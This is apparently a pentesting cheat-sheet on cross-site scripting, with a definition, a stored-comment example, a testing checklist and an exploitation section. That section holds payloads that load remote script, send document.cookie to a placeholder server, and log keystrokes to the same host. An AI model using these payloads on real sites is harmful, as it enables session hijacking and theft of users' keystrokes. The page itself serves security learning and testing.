# JavaScript injection (XSS)

## What is it?

Commonly known as cross-site scripting (XSS), JavaScript injection is where an attacker can inject arbitrary JavaScript to be executed.

**A simple example**

* A vulnerable webapp allows users to post comments.
* When a user submits a comment, the website stores it and then displays it on the homepage without any validation or sanitization.
* An attacker could exploit this by posting `<script>prompt(1)</script>` to the site.
* When a user visits the homepage, the payload is executed in that users browser.

**Other learning resources:**

* PortSwigger: <https://portswigger.net/web-security/cross-site-scripting>
* OWASP: <https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/README>

**Writeups:**

* Bullets

## Checklist

* [ ] Is your input reflected in the response?
* [ ] Can we inject HTML?
* [ ] Are there any weaknesses in the Content Security Policy (CSP)?
* [ ] Can we use events (e.g. onload, onerror)?
* [ ] Are there any filtered or escaped characters?
* [ ] Is your input stored and then later rendered?
* [ ] Can you inject into non-changing values (e.g. usernames)?
* [ ] Is any input collected from a third party (e.g. account information)?
* [ ] Is the version of the framework or dependency vulnerable?

## Exploitation

```javascript
alert(1)
prompt(1)
```

```html
<script src="http://<our-ip>/script.js"></script>
```

```javascript
let cookie = document.cookie
let encodedCookie = encodeURIComponent(cookie)
fetch("https://<your-web-server>/e?c=" + encodedCookie)
```

```javascript
function logKey(event){
    fetch("http://<your-web-server>/e?c=" + event.key)
}
document.addEventListener('keydown', logKey);
```
